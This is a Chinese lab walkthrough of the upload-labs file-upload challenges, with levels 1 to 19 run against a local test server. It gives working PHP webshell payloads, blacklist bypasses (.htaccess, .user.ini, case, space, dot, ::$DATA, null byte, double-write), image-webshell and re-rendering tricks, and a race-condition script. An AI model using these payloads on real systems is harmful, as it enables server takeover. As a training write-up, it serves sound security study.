2004.2.17
level-1
(前端验证)
新建一个写有下面一句话木马的php文件,然后把后缀改为png
<?php @eval($_POST["abc"]); ?>
用bp抓包后更改文件后缀为php
再用蚁剑等工具链接即可拿下shell
level-2
(后端验证)
相较于level-1,后端验证可以直接传入php文件再更改Content-Type类型为image/png
(当然level-1的操作也是可以用的)
后面的链接操作和level-1一样
level-3
(黑名单 - phtml绕过)
这里我用新版的小皮没有实现,然后给小皮降了版本后就可以了,用的是phpstudy2018
(具体原因未查明(懒癌晚期绝症患者),猜测是Apache的版本原因,或者是小皮的一些配置文件不一样)
如图所示,打开 Apache 的配置文件
用 ctrl+f 找到 AddType application/x-httpd-php .php .phtml 并把前面的 # 删掉
保存重启一下,这下就可以解析 .phtml 的文件了
为了方便起见(别问,问就是懒╮(๑•́ ₃•̀๑)╭),后面都用<?php phpinfo(); ?>的一句话木马作为演示
<?php phpinfo(); ?>
修改文件后缀为.phtml,然后上传文件,并打开图片
出现如图界面即为成功
level-4
(黑名单 - htaccess绕过)
这次禁止了
.php|.php5|.php4|.php3|.php2|php1|.html|.htm|.phtml|.pHp|.pHp5|.pHp4|.pHp3|.pHp2|pHp1|.Html|.Htm|.pHtml|.jsp|.jspa|.jspx|.jsw|.jsv|.jspf|.jtml|.jSp|.jSpx|.jSpa|.jSw|.jSv|.jSpf|.jHtml|.asp|.aspx|.asa|.asax|.ascx|.ashx|.asmx|.cer|.aSp|.aSpx|.aSa|.aSax|.aScx|.aShx|.aSmx|.cEr|.sWf|.swf
这些后缀名的文件,那我们可以用 .htaccess 的文件去绕过
在黑盒测试中,可以使用bp爆破来分析哪些文件没被过滤
htaccess文件是Apache服务器中的一个配置文件,它负责相关目录下的网页配置。通过htaccess文件,可以帮我们实现:网页301重定向、自定义404错误页面、改变文件扩展名、允许/阴止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能。
要使htaccess文件生效需要在Apache 的配置文件中设置 AllowOverride为All(默认是All)
创建一个名字为.htaccess的文件
Ps:如果电脑报错,可以尝试bp抓包时修改
.htaccess
写入可以将后来文件以php文件解释的内容
SetHandler application/x-httpd-php
然后先上传.htaccess文件,在上传后缀是.png内容是一句话木马的文件
然后打开图片即可
level-5
(黑名单 - .user.ini 绕过)
我用php 5.4.45有问题,先改到 php 5.3.29
然后修改php的配置文件
修改 user_ini.cache_ttl 后面的数字,后面的数字代表传入文件后相应的秒数,比如300的话,传入木马文件后得等300s才能执行
先上传一个以auto_prepend_file=text.png(等号后面的名字可自定义)为内容的.user.ini文件【用户自定义的配置文件】。
.user.ini文件里的意思是:所有的php文件都自动包含text.png文件,.user.ini相当于一个用户自定义的php.ini。
auto_prepend_file=text.png
然后再上传一个内容为一句话木马的命名为text.png的文件
然后再查看readme.php文件(自带的文件) ,就可以执行刚才的木马文件
level-6
(黑名单 - 大小写绕过)
这次禁止了
.php|.php5|.php4|.php3|.php2|php1|.html|.htm|.phtml|.pHp|.pHp5|.pHp4|.pHp3|.pHp2|pHp1|.Html|.Htm|.pHtml|.jsp|.jspa|.jspx|.jsw|.jsv|.jspf|.jtml|.jSp|.jSpx|.jSpa|.jSw|.jSv|.jSpf|.jHtml|.asp|.aspx|.asa|.asax|.ascx|.ashx|.asmx|.cer|.aSp|.aSpx|.aSa|.aSax|.aScx|.aShx|.aSmx|.cEr|.sWf|.swf|.htaccess|.ini
这些后缀名的文件,但是没有强制转换为小写的代码,那我们可以用 .phP 的文件去绕过
用bp抓包后修改文件名
如果出现如下错误,是php版本的问题,php5.4.45是没问题的
level-7
(黑名单 - 空格绕过)
Windows系统下,对于文件名中空格会被作为空处理,程序中的检测代码却不能自动删除空格。从而绕过黑名单。
针对这样的情况需要使用Bp截断HTTP请求,修改对应的文件名并添加空格
bp抓包后在文件后缀后面添加空格
level-8
(黑名单 - 点号绕过)
原理和空格绕过类似
bp抓包后在文件后缀后面添加 .
level-9
(黑名单 - ::$DATA绕过)
windows环境中,如果文件名+ ::$DATA 会把之后的数据当成文件流处理(相当于注释),不会检测后缀名.且保持 ::$DATA 之前的文件名
查看时去掉后面的 ::$DATA ,否则会403
level-10
(路径拼接绕过)
在没有对上传的文件进行重命名的情况下,用户可以自定义文件名并在服务器中上传新建,就会造成对应的绕过黑名单。
例如:test.php.+空格+.
deldot删除最后一个点后,不再进行删除,trim删除空格,那么最终上传的文件名为 1.php.利用Windows自动去除最后一个点,导致成功上传1.php
抓包修改文件后缀为.php. .
level-11
(双写绕过)
str_ireplace() 函数替换字符串中的一些字符(不区分大小写)(只替换一次)
该函数必须遵循下列规则:
- 如果搜索的字符串是一个数组,那么它将返回一个数组
- 如果搜索的字符串是一个数组,那么它将对数组中的每个元素进行查找和替换
- 如果同时需要对数组进行查找和替换,并且需要执行替换的元素少于查找到的元素的数量,那么多余元素将用空字符串进行替换
- 如果是对一个数组进行查找,但只对一个字符串进行替换,那么替代字符串将对所有查找到的值起作用。
Ps:
- 该函数不区分大小写。可以使用 str_replace() 函数来执行区分大小写的搜索
- 该函数是二进制安全的
说白了就是后缀改为.pphphp
level-12
(白名单 - GET型%00绕过)
00截断原理
0x00是十六进制表示方法,是ascii码为0的字符,在有些函数处理时,会把这个字符当做结束符
系统在对文件名的读取时,如果遇到0x00,就会认为读取已结束。Ps:
在PHP5.3之后的版本中完全修复了00截断。并且00截断受限与magic_quotes_gpc,addslashes函数
先将版本降至 5.2.17
再取消勾选 magic_quotes_gpc
然后重启一下
在上传带有木马的php文件,然后如图修改
最后访问文件
level-13
(白名单 - POST型%00绕过)
上传带有木马的php文件,然后如图修改
然后再16进制中修改刚才随便加的字符的16进制码为00
然后放包即可
level-14
(文件包含)
图片Webshell制作
先准备一张正常的图片和一个带有木马的php文件
然后可以通过cmd制作图片马
copy 1.png /b + test.php /a test.png
通过记事本打开刚刚制作的test.png,划到最下面可以看到写入的一句话木马
然后上传图片后点击文件包含漏洞的文字可以转跳到带有文件包含漏洞的界面
通过复制图片链接可以知道文件的名字,然后如图拼接url可以实现漏洞的利用
http://127.0.0.1/upload-labs-master/include.php?file=upload/4620240220064505.png
level-15
(文件包含)
和level-14不同的是,level-14只检测了文件头,而level-15这是用了getimagesize()监测图像的大小和格式,只是检测方式不同,level-14做出的图片马依旧可以通过本关
level-16
(文件包含)
依然是检测方式的不同,源码使用了 exif_imagetype 函数所以要开启php_exif拓展
后续操作和level-14一模一样
level-17
(二次渲染)
所谓的二次渲染简单讲就是上传一张图片,服务器会对图片进行压缩,然后我们通过比较压缩前后的文件找到没被压缩的地方,并把那个地方替换成一句话木马,再上传来绕过的操作
最好找相同地方的文件就是gif了(我绝对不会说因为这个人太菜了而找不到png文件相同的地方的事实>_<|||)
所以我们选用gif图片来演示
制作gif图片马的方式和制作png图片马的方式一样
上传图片后,保存新的图片
放入编码器(我用的是010 editor)中可以看到经过渲染,把原本的木马语句变没了
然后可以看到图中框选的区域就是压缩前后保持一样的地方
现在开始对test.gif进行操作,因为一句话木马是<?php phpinfo();?>所以字节码是
3C 3F 70 68 70 20 70 68 70 69 6E 66 6F 28 29 3B 20 3F 3E
注意这里3C对的是C列,3E对的是E列,后面粘贴时的起始位和结束位要对上
然后在刚才找到的没被压缩的地方截取一段(列数对上就行)替换成刚才的木马的字节码
然后再重新上传修改后的图片即可
level-18
(条件竞争)
先代码审计
条件竞争就是赶在系统删除文件之前,运行木马文件,这样及使木马文件被删除了,运行的结果也已经被保留了
这里对木马文件进行更改,使其被执行后会生成一个名为success.php内容为<?php phpinfo();?>');?>的木马文件
<?php fwrite(fopen('success.php','w'),'<?php phpinfo();?>');?>
然而手动去竞争肯定是不太现实的,成功率太低了,要用魔法来打败魔法
先利用bp进行循环发送木马文件
在攻击模块中设置成无限循环,这样就可以一直发送木马文件
然后用python脚本进行访问文件
import requests
url = "http://127.0.0.1/upload-labs-master/upload/666.php"
print("开始")
while True:
res = requests.get(url)
if res.status_code == 200:
print("成功")
break
成功后就成功了
level-19
(条件竞争)
利用图片木马结合文件包含,并且要在图片马被删除之前访问到它与level-18类似